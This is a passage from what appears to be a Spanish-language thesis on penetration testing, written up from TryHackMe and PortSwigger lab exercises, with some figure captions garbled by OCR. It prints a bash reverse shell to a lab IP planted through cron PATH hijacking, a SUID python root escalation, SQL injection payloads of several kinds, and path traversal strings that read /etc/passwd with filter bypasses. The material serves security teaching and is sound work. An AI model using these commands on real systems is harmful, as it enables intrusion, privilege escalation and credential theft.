GET vy la ejecuta con system(). En "shell.pdf.php", no sabemos la variable, pero probamos
"cmd" con el comando "id" y funcion6. Si no, usariamos fuzzing para encontrarla.
Invocamos la webshell desde la barra de busqueda con la URL.:

http(s).//<dominio o IP>/<ruta-a-la-webshell>/<nombre-webshell>?<variable>=<comando>

Ahora que ya tenemos un punto de apoyo en el sistema, tenemos que lograr una
reverse shell. Esto lo podriamos conseguir enviando un ejecutable que nos proporcione
esta shell invertida. En la figura 15 se refleja y detalla este proceso. Primero usamos
netcat para abrir un puerto y ponerlo “en escucha” a la espera de recibir una conexion de
una reverse shell, luego desplegamos un servidor web con python3 que nos permitira que
la victima obtenga nuestra reverse shell, después a través de la webshell, la maquina
victima descargara la reverse shell y la ejecutara, realizando una conexidon con el puerto
que habiamos puesto en escucha en primer lugar, y tras establecer esta conexién, ya
hemos terminado el proceso y hemos obtenido una consola en nuestro objetivo.
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* 10.10.40.166/cvs/shell.p: X + Nombre Parametro de reverse shell

reverse shell&

« X @ —>>/10.10.40.166

Ruta hasta la reverse shell
TryHackMe | Learn Cy <) TryHackMe Support # Offline CyberChef @) Revshell Generator everse Shell Cheat S

A i Paso 3: Descargamos reverse shell en la maquina victima
uid=33(www-data) gid=33(www-data) groups=33(www-data) Paso 5: Se ejecuta la reverse shell al ser descarga

boom!

10.10.40.166

Cédigo fuente reverse
shell en BASH

10-1 ear Paso 2: Desplegamos servidor web simple
)00 0>&1 t@ip-10-10-196-23: ls en el directorio donde esta la reverse shell
o

! puertoala
) espetade’

conexion

" conexion de la

) gFNEFE=05Y ww-data
S hostname -1

Confirmacién de éxito de Paso 4: Se envia la reverse

conexion de la reverse shell shell a la maquina victima

| WWW ,Nl C \.,’x:\

Figura 15 - Acceso a usuario www-data con una webshell y reverse shell

4.3 Cuarta fase: Post-explotacion

Una vez se accede a la maquina, el siguiente paso consiste en la escalada de
privilegios que permite tomar el control absoluto de la maquina. En este sentido, existen
multiples técnicas que se pueden aplicar para conseguir este objetivo. En esta seccion se
presentan algunos ejemplos utilizados en los laboratorios realizados.

4.3.1 Secuestro de ruta con tarea CronTab

Retomando el caso de la maquina Hacker Vs Hacker, en la figura 16 se muestra la
secuencia de comandos ejecutadas en la maquina victima. Recordamos del apartado
anterior que el acceso a la maquina lo habiamos conseguido a partir de una webshell, por
lo que el acceso al sistema se realiza a través del usuario www-data el cual sélo tiene
permisos en las carpetas asociadas al servicio web.

Se observa que solo hay un usuario en la carpeta /home/, “lachlan”. En la carpeta
personal de este usuario podemos ver que existe un archivo “user.txt” que es una flag del
desafio CTF, y una carpeta bin con el archivo “backup.sh”, modificable sélo por su duefio.
Cabe destacar que la proteccion de los directorios home de los usuarios es muy débil, lo
que permite atravesar la carpeta particular del usuario.

Al ver el contenido de “.bash_history” del usuario “lachlan” vemos que el hacker
us6 un script que automatiza su elevacion de privilegios a root y, cambié la contrasefia del
usuario “lachlan” al valor “thisistheway123” usando el comando passwd. También vemos
que existe un archivo “/etc/cron.d/persistence” que el hacker edito.
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lachlan lachlan
root root
lachlan lachlan
lachlan lachlan
lachlan lachlan 3
lachlan
lachlan 3 8
4096 May
38 May
-1la bin
Vemos los comandos

"]

wn

.b _history
.bash_logout

w

.cache
.profile
bin

nnuunnn

que uso el hacker

backup.sh
Cambio de
contrasefia de

her majesty i
usuario

Scripts de automatizacion
de escalada de privilegios
stence <: Edicién de archivo CronTab
ETv7sUaY\nthisistheway123\nthisistheway123" | pa
chlan/.bash_his y Intento fallido de borrar
:/home/Llachlan$ B historial de comandos

Figura 16 - Hallando credenciales usuario “lachlan”

Usando este usuario y contrasefa, entramos en la maquina victima, pero
observamos que tras unos pocos segundos, somos expulsados del sistema y se imprime
en la terminal el mensaje “nope”. Para intentar entender lo que esta pasando, volvemos a
analizar el historial de comandos ejecutados y vemos cdmo el presunto hacker si editd un
archivo “cronTab”, que tras inspeccionarlo, vemos que es una tarea crontab cuya funcién
es expulsar a todo usuario que inicie sesion en el servidor. Por tanto, para poder entrar a
la maquina con el usuario “lachlan” hay que tratar de evitar esta tarea CronTab o usarla a
nuestro favor. Analizando dicho archivo (figura 17), vemos que el archivo actualiza la
variable PATH. También observamos que todos los comandos invocados en la tarea cron
se referencian usando la ruta absoluta, salvo el comando pkil, que es el que
precisamente termina la sesion.

Nuevo contenido del archivo Uso de comando
creado por el hacker "pkill" con ruta relativa

pkill -9 -
pkill -
pkill -
pkill -
pkill -
pkill -9

elp

chlan@16.10.40.166 <:| Intento de conexién SSH al usuario "lachlan"
ord

GNU/Linux 5.4.0-109-generic x86_64) <:| Intento de conexi6n exitoso

mentation: https://help.ubuntu.com
nagement:
pport:

ystem information as of Tue 02 Jul 2624 ©5:47:56 PM UTC

em load: 121
G 0
for ethe: 10.10.40.166

can be applied immediately.

t of available E more than a week old.
heck your Internet connection or proxy s
Last login: Tue Jul 2 17:46:1¢ om 10.16.196.23

del sistema automatica con mensaje
ion to 16.10 56 € "'"nope" tras el paso de unos pocos momentos

Figura 17 - Inicio de sesién con usuario “lachlan” y expulsién del sistema
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Por tanto, si conseguimos crear un archivo ejecutable en la carpeta
/home/lachclan/bin, el sistema operativo encontrara este archivo antes del original ubicado
en la ruta /usr/bin. Si ademas este programa ejecuta una reverse shell, conseguimos que
el cron del sistema se encargue de ejecutarla periodicamente con los privilegios de root.
Esto lo podemos conseguir usando el siguiente comando:

echo "bash -c 'bash -i >& /dev/tcp/10.10.196.23/9001 0>&1" > /home/lachlan/bin/pkill ;
chmod +x /home/lachlan/bin/pkill

En la figura 18 se describe el procedimiento completo asi como los resultados
obtenidos. Se observa como se muestra por pantalla varias veces el mensaje “nope” pero
no nos expulsa del sistema, mientras que, en la consola superior (maquina atacante) se
ve que logramos obtener la reverse shell como el usuario root.

#|nc -lnvp 9001 <:I Paso 1: Abrimos un puerto de escucha para recibir la reverse shell del usuario "root"
mi )

mily 0O,
4 - <‘,I:| Paso 4: Recibimos la conexion de la reverse shell por parte del archivo CronTab
1):

): Inappropriate ioctl for device

Confirmamos que la reverse shell
S e~ Thosa s <:| funciono porque somos el usuario

"root" de la maquina victima

root@ip-10-10-196-23: ~
felp

chlan@10.10.40.166 <:| Paso 2: Nos conectamos a la
=

: magquina como el usuario "lachlan"
> Ubuntu 4. (GNU/Linux 5.4.0-109-generic x86_64)

nentation: htt
g https:
* Support: https

11 PM UTC

137
e

etho: 10.10.40.166

Paso 3: Realizamos el secuestro de ruta antes de que el archivo
CronTab nos expulse de la sesidn, creamos la reverse shell en

The list of available updates is e ti | el archivo suplantado y le damos permisos de ejecucion
h new upd r

-1lts. Check your Internet connection or proxy settings

Last login: Tue Jul

& [dev/tcp/10.10.196 /9001 0>&1'" > [home/lachlan/bin/pkill ; chmod +x [home/lachlan/bin/pkill

S nope N ;
nope <:| Confirmamos que la ruta fue secuestrada porque el sistema
no nos expulsa pese a seguir imprimiendo el mensaje "nope"

Figura 18 - Secuestro de ruta con un CronTab para escalar privilegios
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4.3.2 Abuso de binarios con permisos SUID

Para analizar la técnica de abuso de binarios con permisos SUID, procedemos a
atacar la maquina Root Me. Estos archivos los usa habitualmente el sistema operativo
para la suplantacion de identidad, de tal manera que cuando se ejecuta un archivo con
esta propiedad activa, el proceso suplanta la identidad del usuario que lo ha ejecutado por
la del propietario del archivo. Si el propietario del archivo ejecutable es root, cualquier
usuario que sea capaz de ejecutar dicho archivo suplantara la identidad de root durante la
ejecucion de dicho programa.

Por tanto, tras realizar las fases de escaneo y explotacion en la maquina Root Me,
hallamos una pagina web en la maquina que permite subir archivos, y tras lograr subir una
reverse shell, logramos establecer una reverse shell con el usuario www-data de la
maquina.

En la figura 19.a, vemos la salida del comando “find” para encontrar todos los
archivos que tienen el bit especial SUID. Observamos que, extrafiamente, el programa
python tiene este bit SUID activo y el propietario del mismo es el usuario root. Por tanto,
haciendo un pequefio programa que simplemente ejecuta una shell, conseguimos tomar
el control de la maquina. El comando a ejecutar seria (figura 19.b):

"

“python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)

python | GTFOBins — Mozilla Firefox

* 10.10.181.206/uploads/ x python | GTFOBins X + v

www-data@rootme: /home$S id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
rootme: /home$ hostname -I C @ O 6
06
otme: /home$ find / -perm -u+s -exec ls -la {}

gtfobins.github.i B ¥ & o =

TryHackMe | Learn Cy... <3 TryHackMe Support #* Offline CyberChef »

1 root root 36657 ug 4 2020 /usr/bin/python
@rootme: /homeS pytho version
ython 2.7.17 python -c

y filtramos por resultados que tengan la palabra "python"

from ctypes import cdll; cdll.LoadLibrary("lib.so")

Ejecucién del comando que
efectua la escalada de privilegios

Escalada de S U I D

privilegios

If the binary has the SUID bit set, it does not drop the elevated privileges
and may be abused to access the file system, escalate or maintain
privileged access as a SUID backdoor. If it is used to run sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
root root
root root
root root
root root 3
2 root root
root root

This example creates a local SUID copy of the binary and runs it to
ash_history maintain elevated privileges. To interact with an existing SUID binary skip
the first command and run the program using its original path.

Comando en Python

para realizar escalada

DANDLDBLODLD

3 root root \ sudo install -m =xs $(which python) . @deprivilegiosconSUlD
root root 1 .profile
2 root root ssh /python -c ‘import os; os.execl("/bin/sh", “sh", u\l

2020 root.txt

root root

Figura 19.ay 19.b - Abuso del bit SUID en binario python para escalar privilegios
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Capitulo 5 Enumeracion de
vulnerabilidades web en la fase de
explotacion

En la actualidad, el servicio web se ha convertido en el mas difundido y utilizado a
nivel global. Desde la navegacion en sitios web hasta la gestion de aplicaciones vy
plataformas en linea, la web es el pilar sobre el cual se sustenta gran parte de la
interaccion digital moderna. Debido a ello, la deteccion de problemas en el servicio web es
de vital importancia. Fallos en la disponibilidad, seguridad o rendimiento de los sitios y
aplicaciones web pueden tener repercusiones significativas, tanto para los usuarios como
para las organizaciones.

Con el fin de fomentar la seguridad de este servicio, la empresa PortSwigger ha
creado una plataforma educativa conocida como Web Security Academy, disefiada para
formar y mejorar las habilidades en seguridad web de los usuarios tanto principiantes
como profesionales experimentados. Ofrece una amplia gama de materiales didacticos,
incluidos articulos, videos y laboratorios interactivos que permiten a los usuarios practicar
y perfeccionar sus conocimientos en esta materia.

Entre todo el conjunto de vulnerabilidades descritas, en el presente trabajo nos
hemos centrado en el uso diferentes técnicas para atacar servicios web, como son las
vulnerabilidades de inyeccion SQL, Path Traversal, subida de archivos, Cross-site request
forgery (CSRF) y Server-side request forgery (SSRF). En las siguientes secciones se
describen las diferentes vulnerabilidades y las intrusiones realizadas para explotarlas.

5.1 Inyecciéon SQL

La inyeccion SQL (SQL/) es una vulnerabilidad de seguridad web que permite a un
atacante interferir en las consultas que una aplicaciéon realiza a su base de datos. Esto
puede permitir a un atacante acceder a datos que no deberia. También puede
comprometer al servidor subyacente u otra infraestructura back-end o la realizacion de
ataques DoS o DDoS.

En las siguientes subsecciones vamos a abordar distintos tipos de ataques SQLi,
desde ataques visibles, como ataques UNION o basado en errores, donde los resultados
de la consulta se ven reflejados en los resultados de la aplicacion, hasta ataques ciegos,
como los basados en errores, respuestas condicionales y retardos de tiempo, donde la
aplicacién todavia es vulnerable a SQLi pero no devuelve los resultados de la consulta en
la aplicacion y tenemos que buscar otras estrategias para obtener informacion. También
abordaremos distintas estrategias para hallar qué tipo de base de datos usaria una
aplicacion victima y ataques SQLi en distintos contextos como seria usando entradas de
una archivo XML.

5.1.1 Ataques UNION

Cuando una aplicacion es vulnerable a la inyeccion SQL, y los resultados de la
consulta se devuelven en las respuestas de la aplicacion, se puede utilizar la palabra
clave UNION para recuperar datos de otras tablas en la base de datos. Esto es lo que se
conoce como ataque de inyeccion SQL UNION. La palabra clave UNION permite ejecutar
una o mas consultas SELECT adicionales y afadir los resultados a la consulta original.
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Para que se pueda efectuar un ataque de inyeccion SQL UNION tienen que
cumplirse dos requisitos: las consultas individuales deben devolver el mismo numero de
columnas vy, las columnas seleccionadas en la consulta inyectada deben ser compatibles
en tipo de datos con las columnas de la consulta original. Existen diversas técnicas de
prueba y error para determinar tanto el numero de columnas de la consulta original como
la compatibilidad en el tipo de los datos.

A continuacién vamos a describir un ejemplo de intrusion por SQLi en la plataforma
Web Security Academy. Se trata de una aplicacion de compra de productos online,
agrupados por categorias. Posee un filtro de categorias para facilitar la busqueda
(columna “Response” en la figura 20).

En la descripcidn del laboratorio se nos informa que dicho filtro posee una
vulnerabilidad de inyecciéon SQL UNION, asi que para poder ejecutar nuestro ataque
UNION usando Burp Suite, primero interceptamos la peticion HTTP que realiza nuestro
navegador web cliente hacia el servidor con el médulo Proxy[123][128] de Burp Suite, y
tras analizarla y observar que efectivamente es la peticion HTTP que se encarga de
ejecutar la funcionalidad del filtro por categorias de la aplicacion web, reenviamos dicha
peticion HTTP del Proxy de Burp Suite al modulo Repeater.

El médulo Repeater{126] de Burp Suite es lo que se muestra en la figura 20 y
consta de tres partes bien diferenciadas, la primera es la seccidn Request (parte izquierda
de la figura 20), puede albergar varias peticiones HTTP[125] de la aplicacion web objetivo.
Su finalidad es poder realizar modificaciones maliciosas en el contenido de los campos de
dichas peticiones, antes de enviarlas a la aplicacion web, para probar si existen
vulnerabilidades o realizar ataques contra vulnerabilidades identificadas en la aplicacion
web a través de dichas peticiones.

La segunda seccion del Repeater es la seccidon Response (columna central de la
figura 20), una vez hemos hecho modificaciones a una peticion HTTP en la seccion
Request, procedemos a enviarla a la pagina web objetivo, y en la seccion de Response,
podemos ver la respuesta HTTP y el contenido de la respuesta, que devolvio la aplicacion
a la peticion con modificaciones. A su vez, existe la opcion de “renderizar’ la respuesta
obtenida para visualizarla como si se recibiera en un navegador web.

Por ultimo, la tercera seccion es el “inspector” (columna derecha de la figura 20)
que nos permite cambiar valores de los parametros de la peticion HTTP contenida en la
seccién Response de forma mas intuitiva, en la figura 20 vemos como tras seleccionar
todos los caracteres inyectados en el ataque UNION (zona resaltada en azul en la figura
20 en la seccidn Request), en el inspector aparece un recuadro con los caracteres
seleccionados tanto codificados como decodificados en URL.

Ahora sabiendo como funciona el médulo Repeater, en el laboratorio de la figura 20
interceptamos la peticion HTTP (con el modulo proxy) que maneja el filtro de categorias
en la aplicacion web del laboratorio, y lo reenviamos al Repeater, despueés, procedemos a
realizar la inyeccién SQL modificando el valor del parametro “category” (primera linea de
la columna Request en la figura 20) y tras enviarlo a la aplicacion web y recibir su
respuesta con los resultados de la inyeccion SQL UNION, renderizamos la respuesta y
vemos como ahora podemos ver los nombres de usuarios de la aplicacion y sus
contrasenas, dado que el ataque UNION fue exitoso porque reflejé los resultados de la
consulta en la propia respuesta de la aplicacion.
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Resultado de la inyeccién SQL,

Figura 20 - Ataque UNION con Burp Suite para hallar credenciales

Como sabemos que la aplicacion es vulnerable a un ataque UNION vy la consulta
original devuelve dos columnas, pero la primera es de tipo numérico y la segunda es de
tipo cadena, con las palabras “UNION SELECT NULL, username || ‘~’ || password” le
estamos diciendo a la base de datos que nuestra tabla resultado tendra una primera
columna que tendra un tipo de dato cualquiera, y la segunda columna sera la
concatenacion de los valores de las columnas “username” y “password”. Si la consulta
original tuviese mas columnas de tipo numeérico, se podria repetir la sentencia “NULL” en
dichas columnas para ignorarlas, y si existieran mas columnas de tipo cadena se podria
evitar el uso de la técnica de concatenacion de resultados en una misma columna.

Como podemos observar, el ataque fue un éxito y en la respuesta de la aplicacién
estan las credenciales de varios usuarios, entre ellos administrator con su contrasena
3bmip6vO0Ipyn9sx6p5bs, que se puede apreciar al final de la respuesta de la aplicacién. La
consulta original tiene dos columnas pero solo una usa texto, por ende, concatenamos los
datos de nuestro interés en la misma columna.

5.1.2 Hallar el tipo de la base de datos

Para explotar las vulnerabilidades de inyeccidon SQL, es necesario encontrar
informacion sobre la base de datos, como el tipo y la versién de software de la base de
datos, y las tablas y columnas que contiene. Podemos identificar el tipo y versién de la
base de datos a través de consultas especificas inyectadas para ver si funcionan. Por
ejemplo, si la base de datos es de Microsoft o de tipo MySQL deberemos inyectar
SELECT @@version, mientras que si la base de datos es Oracle, tendremos que inyectar
SELECT * FROM v$version. En cambio si es de tipo PostgreSQL habria que inyectar
SELECT version(). Un ejemplo usando un ataque UNION para hallar la base de datos tipo
PostgreSQL seria el siguiente.

“UNION SELECT version()--
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La mayoria de los tipos de bases de datos (excepto Oracle) tienen un conjunto de
vistas llamado esquema de informacién (information_schema) que proporciona
informacion sobre la base de datos. A partir del information_schema podemos consultar
informacion_schema.tables para obtener una lista de las tablas de la base de datos.

TABLE CATALOG TABLE SCHEMA TABLE NAME TABLE TYPE

MyDatabase dbo Products BASE TAEBLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TAELE

Figura 21 - Ejemplo de contenido de information_schema.tables

En el ejemplo de la figura 21, tenemos 3 tablas, usando el atributo fable_name
podemos volver a realizar una consulta similar, pero ahora para averiguar cuales son las
columnas y los tipos de datos de las tablas. Podemos usar el atributo columns en el
information_schema para obtener una lista de las columnas de cada una de las tablas.

SELECT * FROM information_schema.columns WHERE table_name = 'Users’

El resultado de esta inyeccidn sera una consulta similar a la figura 21, pero que
muestre el nombre de las columnas y el tipo de dato de cada una de la tabla Users. Con
esta informacidon podremos extraer todos los datos que queramos de dicha tabla.

5.1.3 Inyeccién SQL ciega basada en respuestas condicionales

La inyeccidon SQL ciega se produce cuando una aplicacion es vulnerable a la
inyeccion SQL, pero sus respuestas HTTP no contienen los resultados de la consulta SQL
correspondiente ni los detalles de los errores de la base de datos. Para que una
aplicacién presente una vulnerabilidad de inyeccion SQL ciega, tiene que realizar una
consulta SQL cuyos resultados no se devuelvan al usuario pero la aplicacién se comporte
diferente dependiendo de si la consulta devuelve algun dato o no.

Para poder ofrecer un ejemplo apropiado que explique este tipo de inyeccion SQL,
consideremos una aplicacion que use cookies de seguimiento para recopilar datos
analiticos sobre el uso, concretamente usa una cookie llamada TrackinglD que esta
presente en todas las peticiones HTTP que realizamos a la aplicacion web. Las peticiones
a la aplicacion tienen una cabecera de cookie asi:

Cookie: Trackingld=u5YD3PapBcR4IN3e7Tj4

Cuando se procesa una peticion que contiene una cookie Trackingld, la aplicaciéon
usa una consulta SQL para determinar si se trata de un usuario conocido

SELECT Trackingld FROM TrackedUsers WHERE Trackingld = 'value’

Si el usuario envia un Trackingld reconocido, la consulta devuelve datos y recibe
un mensaje Welcome Back! en la respuesta, este comportamiento es suficiente para
poder explotar la vulnerabilidad de inyeccion SQL ciega.
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Podemos conseguir informacion activando diferentes respuestas condicionalmente,
dependiendo de una condicion inyectada. Para entender mejor como funciona este
exploit, supongamos que se envian dos peticiones que contienen sucesivamente los
siguientes valores de cookies Trackingld.

SELECT Trackingld FROM TrackedUsers WHERE Trackingld = ‘value' AND 1=1
SELECT Trackingld FROM TrackedUsers WHERE Trackingld = ‘value’ AND 1=2

El primer caso hace que la consulta devuelva resultados, porque el valor value
estamos suponiendo que es una cookie que existe en la base de datos y la condicidn
inyectada AND 1=1 es verdadera y como resultado se muestra el mensaje Welcome back!
pero el segundo caso hace que la consulta no devuelva ningun resultado porque aunque
la cookie exista, la condicion inyectada AND 1=2 es falsa y el mensaje no aparezca.

Si queremos extraer una contrasefa cuando ya sabemos de antemano un nombre
de usuario administrator y un nombre de tabla users, lo ideal en estos casos es usar la
funcién substring() o substr()[118].

SELECT Trackingld FROM TrackedUsers WHERE Trackingld = ‘value' AND SUBSTRING(
(SELECT password FROM users WHERE username = ‘administrator’), 1, 1) >t

Esta consulta extrae el primer caracter de la contrasefia del usuario administrador y
compara si alfabéticamente el caracter “t” es menor (en la tabla ASCII[109] viene antes)
que el caracter de la contrasefa extraido, repitiendo esta inyeccion el numero de veces
necesario podemos extraer cada uno de los caracteres de la contrasena.
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Figura 22 - Inyeccién SQL ciega, hallando primer caracter de contraseina

En la figura 22 vemos como el primer caracter de la contrasefia es menor a la letra

“a” dado que recibimos el mensaje Welcome back!. El problema con este tipo de ataques
es que puede llegar a ser muy tedioso. Sin embargo, Burp Suite permite automatizar este
tipo de acciones repetitivas con su funcionalidad Intruder{130][127], que permite
automatizar ataques de fuerza bruta.
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Choose an attack type
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Figura 23 - Ejemplo ataque Sniper con el primer caracter de la contrasena

En la figura 23, en la parte superior, al final de la linea 3 y al final del valor de la
cookie Trackingld, podemos ver una zona coloreada verde transparente (sefialada por dos
flechas y subrayada en negro) entre unos caracteres especiales es lo que Burp Suite
interpreta como la zona donde tiene que cambiar su valor, por cada valor de la lista de
palabras en cada intento del ataque Sniper{127].

Como podemos ver, en el ataque, en la parte inferior de la figura 23 Burp Suite
registra tanto el numero del intento del ataque de fuerza bruta (columna Request), como
la carga util que mando en ese intento (columna Payload), como la respuesta que le dio la
aplicacién (columna Response Received), en este caso el caracter correcto (intento
nueve, valor “”), fue el que mas contenido devolvié en su respuesta (1045 caracteres) y
fue el unico que devolvié el mensaje de Welcome back! porque en la inyeccién de cédigo
usamos el operador “=" para comparar los caracteres, se puede ver en la parte inferior de
la figura 23, en la pestafia “Response” que la aplicacién muestra el mensaje Welcome

back! justo en la parte inferior derecha de la figura 23 (resaltado en rojo con una flecha).

5.1.4 Inyeccion SQL basada en errores

La inyeccién SQL basada en errores se refiere a los casos en los que se utilizan
mensajes de error para extraer o inferir datos confidenciales de la base de datos, incluso
en contextos ciegos. Algunas aplicaciones realizan consultas SQL pero su
comportamiento no cambia, independientemente de si la consulta devuelve algun dato.
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A menudo es posible inducir a la aplicaciéon a devolver una respuesta diferente
dependiendo de si se produce un error SQL. Por ejemplo, siguiendo el ejemplo de la
cookie Trackingld, supongamos que se envia la siguiente peticion que contiene los
siguiente valores de cookie Trackingld

SELECT Trackingld FROM TrackedUsers WHERE Trackingld = ‘value' AND (SELECT
CASE WHEN (Username = 'Administrator' AND SUBSTRING(password, 1, 1) >'m’) THEN
1/0 ELSE 'a’ END FROM Users)="a

Estamos seleccionando la contrasefia del administrador y si el primer caracter
resulta ser mayor que “m” se producira un error en la base de datos debido a que se
inducira a que la aplicacién realice una divisidbn por cero, en caso contrario la expresion
CASE devolvera el valor “a” sin ninguna reaccién por parte de la base de datos.

En el caso de las inyecciones SQL visibles basadas en errores, suelen darse
cuando se produce una configuracion incorrecta en la base de datos que a veces da lugar
a mensajes de error detallados, que pueden proporcionar informacion util para un
atacante. En el caso del ejemplo de la cookie Trackingld, si fuera vulnerable a una
inyeccién SQL visible basada en errores, el hecho de anadir una comilla simple extra a la
peticibn HTTP en la que se hace uso de la cookie Trackingld (por ejemplo
Trackingld=valor’) daria lugar a un mensaje de error como el siguiente porque la
aplicacion interpretaria la comilla simple como parte de la consulta, rompiendo la
estructura de toda la consulta SQL definida en el back-end de la aplicacion.

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE
id =", Caracter esperado

Este mensaje no solo nos muestra la consulta entera (y nos evita tener que tratar
de adivinarla), sino que nos muestra el punto de inyeccion, que es el valor de la sentencia
WHERE, lo que facilita la construccion de una carga maliciosa. Ademas, podemos inducir
a la aplicacion a generar un mensaje de error que contenga datos devueltos por la
consulta, asi volveriamos “visible” una vulnerabilidad SQLi que de otro modo seria ciega.
Para lograr esto podemos usar la funcion CAST() que permite convertir tipos de datos en
otros, como se muestra en la figura 24.
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Figura 24 - Inyeccion SQL basada en errores visible con funcion CAST/()

En la figura 24, la base de datos usada es PostgreSQL, y hemos realizado una
subconsulta que nos devuelve la contrasefia del usuario administrador (porque suele ser
la primera de toda la columna de contrasefias) y tratamos de convertirla a INT para inducir
a la base de datos a un error detallado que contenga el propio valor de la contrasefia,
como podemos ver en el mensaje de error devuelto por la aplicacion.

36



5.1.5 Inyeccién SQL ciega basada en retardos de tiempo

Si la aplicacion capta los errores de la base de datos cuando se ejecuta la consulta
SQL y los maneja adecuadamente, no habra ninguna diferencia en la respuesta de la
aplicacién. Esto significa que la técnica anterior para inducir errores condicionales no
funcionara. En esta situacion, a menudo es posible explotar la vulnerabilidad de inyeccion
SQL ciega activando retardos de tiempo dependiendo de si una condicion inyectada es
verdadera o falsa.

Como las consultas SQL normalmente son procesadas de forma sincrona por la
aplicacion, retrasar la ejecucion de una consulta SQL también retrasa la respuesta HTTP.
Esto permite determinar la veracidad de la condicion inyectada basandose en el tiempo
que se tarda en recibir la respuesta HTTP.

Las técnicas para activar un retardo son especificas del tipo de base de datos que
se utilice. Por ejemplo, en Microsoft SQL Server, se puede utilizar lo siguiente para probar
una condicion y activar un retardo dependiendo de si la expresién es verdadera.

" IF (1=1) WAITFOR DELAY '0:0:10'--

Como la condicion es verdadera, desencadenaria un retardo de 10 segundos en la
aplicacioén si las consultas se procesan de forma sincrona, pero si la condicion fuera falsa
no ocurriria. Usando esta técnica podemos recuperar datos probando un caracter a la vez.

"“IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator’' AND
SUBSTRING(Password, 1, 1) >'m') = 1 WAITFOR DELAY '0:0:{delay}'--

Tenemos una subconsulta que devuelve frue o false dependiendo de si el primer
caracter de la contrasefia del administrador es mayor que “m”; si es cierto devolvera tfrue o
1y por lo tanto se ejecutara el retardo de tiempo de 10 segundos.

5.1.6 Inyecciéon SQL en diferentes contextos

Realmente se pueden realizar ataques de inyeccion SQL utilizando cualquier
entrada controlable que sea procesada como una consulta SQL por la aplicacion. Por
ejemplo, algunos sitios web toman datos en formato JSON o XML y los utilizan para
consultar la base de datos.

Estos diferentes formatos pueden proporcionar diferentes formas de ofuscar
ataques que de otro modo son bloqueados debido a WAFs[124] y otros mecanismos de
defensa. Las implementaciones débiles a menudo buscan palabras clave de inyeccion
SQL comunes dentro de la solicitud, por lo que puede ser capaz de eludir estos filtros
codificando o escapando caracteres en las palabras clave prohibidas. Un ejemplo muy
simple es la siguiente inyeccion SQL basada en XML que utiliza una secuencia de escape
XML para codificar el caracter S en SELECT. La ofuscacion sera decodificada del lado del
servidor antes de ser pasada al intérprete SQL.

<stockCheck>

<productld>123</productld>

<storeld>999 &#x53;ELECT * FROM information_schema.tables</storeld>
</stockCheck>
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5.2 Path traversal

La técnica de Path ftraversal o directory traversal, permite a un atacante leer o
incluso modificar archivos arbitrarios en el servidor que esta ejecutando una aplicacion.
Un claro caso donde se podria manifestar dicha vulnerabilidad, es en cualquier aplicacién
que acceda a algun archivo, como se observa en los siguientes ejemplos.

<img src="/cargarlmagen?nombreArchivo=../../../etc/passwd">
https://insecure-website.com/loadlmage ?filename=..\.\windows\win.ini

En lugar de dar el nombre del archivo de una imagen que es el comportamiento
que espera recibir la aplicacion web, usamos sentencias como las secuencias
transversales para acceder a archivos de la maquina victima que deberian ser privados.

Las defensas contra Path Traversal a menudo se pueden eludir porque muchas de
ellas radican en eliminar o bloquear secuencias de recorrido dadas por el usuario, pero
pueden ser eludidas en muchos casos usando las siguientes técnicas.

La primera es usar una ruta absoluta para buscar el archivo que deseamos, como
filename=/etc/passwd, la segunda es usar secuencias transversales anidadas como ....//
0 ....VVdado que si la aplicacion elimina cada conjunto de caracteres ../, seguira habiendo
otro conjunto de caracteres ../, suponiendo que no sea un filtro recursivo.

En algunos casos como en una ruta URL o en el parametro filename de una
solicitud multipart/form-data, los servidores web pueden eliminar cualquier secuencia de
navegacion por directorios antes de pasar a la entrada de la aplicacién, estas
contramedidas se pueden eludir codificando la URL o incluso codificando dos veces. Los
caracteres ../ resultan en %2e%2e%2f si se codifica una vez y en %252€%252e€%252f si
se codifica dos veces, aunque se podrian intentar codificaciones no estandar.

En otro casos, una aplicacion puede requerir que el nombre de archivo dado por el
usuario comience con la carpeta base esperada, como podria ser /var/www/images, en
ese caso podriamos incluir la carpeta base con secuencias transversales como
filename=/var/www/images/../../../etc/passwd

También la aplicacion puede requerir que el nombre de archivo del usuario termine
con una extension esperada como .png o .jpg, en este caso es posible usar un byte nulo
para terminar la ruta del archivo antes de la extension requerida, por ejemplo
filename=../../../etc/passwd%00.png
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Figura 25 - Uso de Path Traversal para ver archivo /etc/passwd
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En la figura 25 implementamos varias técnicas comentadas, la primera es el uso de
secuencias transversales, después especificamos que queremos obtener el archivo
“letc/passwd”. La segunda técnica que empleamos es el “byte nulo”, como la aplicacién no
nos deja obtener un archivo sin especificar una extension, colocamos el byte nulo justo
después del final del nombre del archivo a obtener, y a continuacion, colocamos la
extension, asi cuando el servidor procese el nombre del archivo, se detendra en el byte
nulo y no procesara los caracteres que le sigan. En la derecha de la figura 25,
observamos que el ataque tuvo éxito y vemos el contenido del archivo.

5.3 Subida de archivos

Las vulnerabilidades de subidas de archivos se producen cuando un servidor web
permite a los wusuarios cargar archivos en su sistema de archivos sin validar
suficientemente aspectos como su nombre, tipo, contenido o tamafo. Si no se aplican
correctamente estas restricciones, incluso una funcion basica de carga de imagenes
puede utilizarse para cargar archivos arbitrarios y potencialmente peligrosos. Esto podria
incluso incluir archivos de script del lado del servidor que permitan la ejecucion remota de
cédigo. En la figura 26, primero interceptamos la peticion HTTP que se encarga de la
subida de archivos en el servidor y la reenviamos al Repeater, y haciendo uso de este
modulo, podemos modificar los parametros necesarios de la peticién para subir al servidor
la webshell.

En primer lugar modificamos el contenido de la cabecera Content-Type, dado que
hay aplicaciones que confian ciegamente en el valor de dicha cabecera, cambiamos su
valor de applicacion/x-php (valor esperado cuando se reciben archivos PHP al servidor)
por el valor image/png para tratar de engafar al servidor y que procese la webshell como
una imagen. Tras realizar un primer intento de uso de la webshell, en este laboratorio
descubrimos que la carpeta donde el servidor almacena los archivos subidos no tiene
permiso de ejecucidn de archivos PHP debido a que la webshell no funciona. Para
solventar dicha problematica, tratamos de usar la vulnerabilidad de Path Traversal para
que el servidor almacene la webshell en un directorio donde los archivos PHP tengan
permisos de ejecucion, en el caso de la figura 26, subimos la webshell al directorio padre.
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Figura 26 - Path Traversal ofuscado y modificacion de Content-Type
